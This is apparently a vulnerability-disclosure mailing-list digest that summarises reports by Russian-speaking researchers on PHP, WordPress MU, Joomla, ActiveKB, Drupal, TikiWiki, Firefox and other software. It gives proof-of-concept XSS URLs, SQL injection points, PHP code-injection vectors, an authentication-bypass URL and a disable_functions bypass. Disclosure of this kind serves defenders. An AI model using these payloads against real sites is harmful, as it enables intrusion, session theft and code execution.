russian-multi.txt

`Dear [email protected],  
  
Vulnerabilities reported by different Russian speaking authors to  
http://securityvulns.ru  
  
1. Elekt(Antichat.ru) reports protection bypass vulnerability in PHP 4  
and 5.  
  
disable_functions feature can be bypassed by using functions alias. A  
list of aliases is given in http://php.net/aliases/. For example,  
ini_alter() may be used instead of ini_set() and vice versa.  
  
SecurityVulns issue: http://securityvulns.com/news/PHP/alias-pb.html  
Original message (in Russian): http://securityvulns.ru/Sdocument67.html  
  
2. MustLive reports Crossite-Cripting vulnerability in WordPress  
MultiUser 1.0  
  
XSS is possible via Username form field.  
  
Additional information (in Ukranian): http://websecurity.com.ua/1269/  
Original message (in Russian): http://securityvulns.ru/Rdocument875.html  
  
3. durito [NGH Group] reports multiple SQL injections in ActiveKB 1.5  
  
Example:  
  
http://www.example.com/activekb/index.php?ToDo=browse&catId=[SQL]  
http://www.example.com/activekb/admin/index.php?ToDo=hideQuestion&questId=[SQL]  
  
Original message (in Russian): http://securityvulns.ru/Rdocument901.html  
  
4. MustLive reports Cross-Site Scripting vulnerability in Joomla! <= 1.0.13  
  
An example of vulnerability is  
  
http://site/index.php?option=com_search&searchword=';alert('XSS')//  
  
Additional information (in Ukranian): http://websecurity.com.ua/1203/  
Original message (in Russian): http://securityvulns.ru/Rdocument919.html  
  
5. durito [NGH Group] reports crossite-scripting vulnerability in  
ActiveKB NX 2.5.4  
  
Example: http://www.example.com/activekb/ActiveKB/?page=[XXS]  
  
Original message (in Russian): http://securityvulns.ru/Rdocument956.html  
  
6. "noname indexed" reports vulnerability in UMI CMS (http://uni-cms.ru)  
  
Vulnerability example:  
  
http://example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert();  
  
Original message (in Russian): http://securityvulns.ru/Rdocument957.html  
  
7. MustLive reports cross-site scripting vulnerability in Nucleus.  
  
Example: http://site/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Additional information (in Ukranian): http://websecurity.com.ua/1347/  
Original message (in Russian): http://securityvulns.ru/Sdocument3.html  
  
8. durito [NGH Group] reports  
  
8.1 multiple SQL injections in Stride v1.0 Content Management System,  
Merchant, Courses. Examples:  
  
Content Management System  
  
http://www.example.com/main.php?p=[SQL]  
  
Merchant  
  
http://www.example.com/shop.php?cmd=sto&id=[SQL]  
  
Courses  
  
http://www.example.com/detail.php?course=[SQL]  
http://www.example.com/detail.php?provider=[SQL]  
  
8.2 Information leak (FTP access account) with MyFTPUploader within  
same applications. Example:  
  
http://www.example.com/include/imageupload.js  
  
contains  
  
document.writeln('<param name="uploadDirectory" value="/public_html/dbimages/process">');  
document.writeln('<param name="successURL" value="admin_imagemulti.php?action=process">');  
document.writeln('<param name="host" value="www.target.com">');  
document.writeln('<param name="userName" value="target">');  
document.writeln('<param name="password" value="target">');  
  
8.3 Default administrator's password for same applications.  
  
Original message (in Russian): http://securityvulns.ru/Sdocument4.html  
  
9. MustLive reports multiple crossite scripting vulnerabilities in  
Site-Up <= 2.64  
  
Via "search" and "search mask" fields of http://site/siteuprus/index.cgi:  
  
Additional information (in Ukranian): http://websecurity.com.ua/1210/  
Original message: (in Russian): http://securityvulns.ru/Sdocument12.html  
  
10. MustLive reports crossite scripting in Google Search Appliance.  
  
Example: http://site/search?ie=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x'  
  
Additional information (in Ukranian): http://websecurity.com.ua/1368/  
Original message (in Russian): http://securityvulns.ru/Sdocument32.html  
  
10. MustLive reports crossite scripting in PRO-search  
  
Example: http://site/?q=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Additional information (in Ukranian): http://websecurity.com.ua/1224/  
Original message (in Russian): http://securityvulns.ru/Sdocument68.html  
  
10. MustLive reports multiple vulnerabilities in Urchin Web Analytics  
5.7.03.  
In addition to re-discovered XSS vulnerability, there is also  
authentication bypass (access without username/password).  
  
Example: http://site:10000/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4&gtype=5  
  
Additional information (in Ukranian): http://websecurity.com.ua/1283/  
Original message: (in Russian): http://securityvulns.ru/Sdocument90.html  
  
11. MustLive reports crossite scripting vulnerability in Mozilla Firefox  
<= 2.0 with gopher: protocol URL if UTF-7 if page content is displayed as  
UTF-7. Examples:  
  
For Firefox before 2.0:  
  
gopher:///1+ADw-SCRIPT+AD4-alert('XSS')+ADw-/SCRIPT+AD4-  
  
gopher:///1Turn%20on%20UTF-7%20to%20view%20this%20message%20+ADw-SCRIPT+AD4-alert('XSS')+ADw-/SCRIPT+AD4-  
  
For Firefox 2.0:  
  
gopher:///1+ADw-SCRIPT+AD4-alert(/XSS/)+ADw-/SCRIPT+AD4-  
  
gopher:///1Turn%20on%20UTF-7%20to%20view%20this%20message%20+ADw-SCRIPT+AD4-alert(/XSS/)+ADw-/SCRIPT+AD4-  
  
According to author, it's possible to execute script in both local zone  
and context of gopher site.  
  
12. ShAnKaR reports PHP Zend Hash vulnerability exploitation vector  
with Drupal <= 5.2.  
  
Example: http://www.example.com/drupal/?_menu[callbacks][1][callback]=drupal_eval&_menu[items][][type]=-1&-312030023=1&q=1/<?phpinfo();  
  
Original message (in Russian): http://securityvulns.ru/Sdocument137.html  
  
13. ShAnKaR reports PHP injection vulnerability in TikiWiki 1.9.8.  
  
Example: http://www.example.com/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=  
  
Original message (in Russian):  
  
http://securityvulns.ru/Sdocument162.html  
  
Also, multiple vulnerabilities were reported in English by  
  
:: iNs @ uNkn0wn.eu :: http://securityvulns.com/source26994.html  
and  
r0t: http://securityvulns.com/source12948.html  
  
  
  
  
  
  
  
  
  
  
  
  
--   
http://securityvulns.com/  
/\_/\  
{ , . } |\  
+--oQQo->{ ^ }<-----+ \  
| ZARAZA U 3APA3A } You know my name - look up my number (The Beatles)  
+-------------o66o--+ /  
|/  
`